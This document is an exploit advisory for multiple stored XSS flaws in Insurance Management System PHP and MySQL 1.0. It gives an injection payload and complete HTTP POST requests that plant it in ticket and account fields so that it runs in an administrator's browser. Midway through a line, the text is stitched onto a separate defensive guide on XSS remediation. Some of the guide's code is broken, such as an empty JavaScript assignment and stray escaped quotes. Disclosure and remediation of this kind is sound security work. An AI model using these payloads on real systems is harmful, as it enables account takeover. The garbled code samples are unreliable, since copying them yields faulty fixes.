Insurance Management System PHP and MySQL 1.0 - Multiple Stored XSS
# Exploit Title:Insurance Management System PHP and MySQL 1.0 - Multiple
Stored XSS
# Date: 2024-02-08
# Exploit Author: Hakkı TOKLU
# Vendor Homepage: https://www.sourcecodester.com
# Software Link:
https://www.sourcecodester.com/php/16995/insurance-management-system-php-mysql.html
# Version: 1.0
# Tested on: Windows 11 / PHP 8.1 & XAMPP 3.3.0
Support Ticket
Click on Support Tickets > Generate and add payload <img src=x onerror=prompt("xss")> to Subject and Description fields, then send the request. When admin visits the Support Tickets page, XSS will be triggered.
Example Request :
POST /e-insurance/Script/user/core/new_ticket HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 139
Cookie: PHPSESSID=17ot0ij8idrm2br6mmmc54fg15; __insuarance__logged=1; __insuarance__key=LG3LFIBJCN9DKVXKYS41
category=4&subject=%3Cimg+src%3Dx+onerror%3Dprompt%28%22xss%22%29%3E&description=%3Cimg+src%3Dx+onerror%3Dprompt%28%22xss%22%29%3E&submit=1
Create Account
Click on New Account button on login page, then fill the fields. Inject <img src=x onerror=prompt("xss")> payloads to fname, lname, city and street parameter, then click Create Account button. XSS will be triggered when admin visits Users page.
Example Request :
POST /e-insurance/Script/core/new_account HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 303
Cookie: PHPSESSID=17ot0ij8idrm2br6mmmc54fg15
fname=%3Cimg+src%3Dx+onerror%3Dprompt%28%22xss%22%29%3E&lname=%3Cimg+src%3Dx+onerror%3Dprompt%28%22xss%22%29%3E&gender=Male&phone=5554443322&city=%3Cimg+src%3Dx+onerror%3Dprompt%28%22xss%22%29%3E&street=%3Cimg+src%3Dx+onerror%3Dprompt%28%22xss%22%29%3E&email=test1%40test.com&password=Test12345&submit=1 Stored Cross‑Site Scripting (XSS) in PHP/MySQL Applications — Practical Guide for Detection and Remediation
Overview
Stored Cross‑Site Scripting (stored XSS) occurs when an application accepts user input, stores it on the server (e.g., in MySQL), and later renders it into pages without proper encoding or sanitization. Attackers can inject scripts that execute in other users' browsers — often with elevated impact when the victim is an administrator. This article explains the threat, detection strategies, and robust mitigation techniques for PHP/MySQL applications, with defensively oriented code examples and best practices.
Why stored XSS is dangerous
- Script runs in the context of the victim's session: it can read cookies (unless HttpOnly), perform actions on behalf of the user, or perform CSRF‑like activities.
- Persistent impact: malicious payloads remain in the database and affect every user who views the affected page or admin who inspects records.
- Elevation paths: stored XSS on pages only accessible to administrators can lead to site takeover, data exfiltration, or installation of persistent backdoors.
Common vectors in web applications
- Long‑form fields (support tickets, comments, user bios, profile fields).
- Administrative listing pages that render user‑supplied content without encoding.
- Rich‑text or HTML input without server‑side sanitization.
Safe, non‑destructive detection approaches
- Static code review: look for echo/print/<?= outputs that print user input directly without encoding (htmlspecialchars or templating engine auto‑escaping).
- Automated scanning: use tools like OWASP ZAP, Burp (passive scanning first), or static analyzers to locate unescaped outputs — avoid destructive automated payloads in production.
- Unit and integration tests: assert that all outputs are encoded and that any allowed HTML is sanitized with a proven library.
Mitigation strategy — defense in depth
- Output encoding (primary defense): Always encode data when inserting it into HTML. Encoding must be context‑aware (HTML element, attribute, JavaScript, URL).
- Input handling: Prefer whitelisting allowed characters or patterns. Reject or normalize unexpected input. Do not rely solely on input filtering for XSS protection.
- Sanitization for allowed HTML: If the app allows a subset of HTML (rich text), sanitize it server‑side with a vetted library before storing or before rendering.
- Content Security Policy (CSP): Use CSP to restrict script sources and mitigate the impact of injected scripts.
- Secure cookies and session handling: Set HttpOnly and Secure flags to reduce token theft risk from client‑side scripts.
- Least privilege and logging: Limit administrative privileges and maintain audit trails so injected content and author metadata can be quickly investigated and removed.
Context‑aware encoding recommendations
| Context | Recommended approach |
|---|---|
| HTML body content | Escape with htmlspecialchars(..., ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') |
| HTML attribute | Same as HTML body; ensure quotes are used and escaped |
| JavaScript context | Embed values via JSON encoding (e.g., json_encode in PHP), not raw string concatenation |
| URL parameters | Use rawurlencode / urlencode for query components |
| Rich HTML input | Sanitize with a well‑maintained HTML sanitizer (server‑side) and limit tags/attributes |
Practical PHP examples (defensive)
/* Safe HTML output helper */function e(string $s): string {
// ENT_SUBSTITUTE protects against invalid byte sequences
return htmlspecialchars($s, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
/* Example usage when rendering user data in HTML */echo '<div class="user-name">' . e($user['fname']) . '</div>';
Explanation: The e() function applies HTML encoding that converts special characters (<, >, ", ') into HTML entities. Use this for all dynamic content inserted into HTML elements to prevent execution of injected scripts.
/* Embedding server data safely into JavaScript */<script>
const currentUser = ;
// Now currentUser is a safe JS string literal generated by json_encode
</script>
Explanation: json_encode outputs a valid JavaScript string literal with proper escaping, preventing injection when inserting server values into client scripts.
/* If you allow limited HTML, sanitize server‑side with HTMLPurifier (recommended) */// Install: composer require ezyang/htmlpurifier
$config = HTMLPurifier_Config::createDefault();
$config->set('HTML.Allowed', 'p,b,i,strong,em,a[href],ul,ol,li'); // tight whitelist
$purifier = new HTMLPurifier($config);
$cleanHtml = $purifier->purify($userProvidedHtml);
Explanation: HTMLPurifier (or similar vetted libraries) normalize and remove dangerous elements/attributes from HTML. Use a conservative whitelist and apply server‑side before storing or before rendering.
/* Content Security Policy header example (set early, before output) */header(\"Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';\");
Explanation: CSP reduces the impact of injected scripts by restricting allowable script sources. CSP is a mitigation, not a substitute for proper encoding and sanitization.
Database hygiene and remediation steps after an XSS discovery
- Identify and locate stored entries containing malicious content (use safe search patterns, do not execute payloads during analysis).
- Sanitize or remove malicious records — prefer server‑side sanitization routines that convert or strip dangerous HTML before re‑inserting or replacing content.
- Rotate sensitive tokens/sessions used by any accounts that viewed stored XSS payloads (admins first), and invalidate sessions if appropriate.
- Patch the codebase: add encoding helpers, enforce templating engine auto‑escaping, and update tests to prevent regressions.
- Notify affected users and follow your incident response and disclosure policy.
Hardening checklist for PHP/MySQL apps
- Use templating engines or frameworks that enable auto‑escaping (Twig, Blade, etc.).
- Escape all outputs; never trust client input.
- Apply server‑side validation with whitelists for structured inputs (e.g., phone numbers, city names).
- If HTML is allowed, sanitize server‑side with a maintained library and store the sanitized version.
- Deploy CSP, X-Content-Type-Options, and appropriate cookie flags (HttpOnly, Secure, SameSite).
- Perform code reviews and include XSS test cases in CI pipelines.
- Audit admin‑only pages: these have higher value and must be reviewed more stringently.
Responsible disclosure and remediation coordination
If you discover a stored XSS in a system (your own or third‑party), follow your organization’s incident response process. For third‑party vendors: disclose privately with reproduction steps that are non‑destructive, provide remediation advice (as above), and coordinate on fixes and user notifications. Avoid public disclosure until a fix is available or coordinated with the vendor.
Conclusion — key takeaways
- Stored XSS is preventable with consistent use of context‑aware output encoding and server‑side sanitization when HTML is permitted.
- Defense in depth — encoding, input validation, CSP, and secure session handling — reduces risk and blast radius.
- Automate checks, include tests in CI, and treat admin‑facing interfaces with elevated scrutiny.